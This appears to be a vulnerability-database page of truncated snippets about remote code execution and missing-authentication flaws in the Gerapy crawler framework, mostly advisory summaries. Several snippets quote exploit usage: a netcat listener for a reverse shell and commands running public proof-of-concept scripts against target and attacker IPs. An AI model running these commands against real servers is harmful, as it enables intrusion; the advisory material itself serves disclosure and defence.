CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 войдите на портал как администратор добавьте новый проект sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...

CVE-2021-43857

CVE-2021-43857 バージョン0.9.8より前のGerapyは、リモートコード実行に対して脆弱です。この問題はバージョン0.9.8で修正されています。 CVE-2021-43857は、リモートコード実行につながるCritical（CVSS 9.8）優先度としてマークされた脆弱性です。 この脆弱性は、0.9.8より前のすべてのバージョンに影響します。 0.9.6でのみテスト済みです。正しい認証情報が必要です。...

cve-2021-32849

cve-2021-32849 cve-2021-32849（gerapyコマンド実行） 使用方法 まずncでリスニングを開始し、その後expで攻撃します root@kitploit: python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857（gerapyコマンド実行） 免責事項 root@kitploit: スクリプトは学習・参考用のみであり、他人のWebサイトへの悪意ある攻撃は禁止です。 法令違反や秩序違反を犯した場合、生じた一切の結果は利用者自身が負担します。 技術に罪はなく、作者とは無関係です。 スクリプトの使用は上記の説明に同意したものとみなされます！ --Author:lowkey0808 使用方法 root@kitploit: -h, --help show this help message and exit -u url -U ログインユーザー -P...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 RCE autenticata Questo repository contiene un proof of concept per CVE-2021-43857 , una vulnerabilità di esecuzione di codice in remoto che affligge Gerapy -p -L -P Requisiti 1. Python 3.x 2. requests e pyfiglet pip install requests pyfiglet 3. Netcat nc...

CVE-2026-16209

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209

Summary: CVE-2026-16209 affects Gerapy up to 0.9.13. The vulnerability is in an unknown function within gerapy/server/core/views.py, in the Project Upload Endpoint, causing missing authentication. It is a network-accessible issue that can be exploited remotely; the exploit is public. A patch iden...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

PT-2026-61043

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

Exploit for OS Command Injection in Gerapy

CVE-2021-43857-Gerapy-v0.9.7 - login to portal as admin - add...

EUVD-2020-0083

Malware in sbrugna...

EUVD-2022-0113

Malicious code in bioql PyPI...

CVE-2021-32849

Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds...

CVE-2021-43857

Gerapy is a distributed crawler management framework. Gerapy prior to version 0.9.8 is vulnerable to remote code execution, and this issue is patched in version 0.9.8...

VulnCheck KEV: CVE-2021-32849

Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds...

Exploit for OS Command Injection in Gerapy

CVE-2021-43857 CVE-2021-43857 Gerpy command execution...

Gerapy has unspecified vulnerabilities

Gerapy is a distributed crawler management framework based on Scrapy, Scrapyd, Django and Vue.js. A security vulnerability exists in Gerapy v 0.9.7, which stems from an access control vulnerability that can be caused by the spider parameter in the projectconfigure function. No details of the...

Remote Code Execution (RCE)

gerapy is vulnerable to remote code execution. An attacker can inject and execute malicious commands through the projectconfigure function of views.py...

GHSA-29VR-79W7-P649 Duplicate Advisory: Incorrect Authorization in Gerapy

Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9w7f-m4j4-j3xw. This link is maintained to preserve external references. Original Description An Access Control vunerabiity exists in Gerapy v 0.9.7 via the spider parameter in projectconfigure function...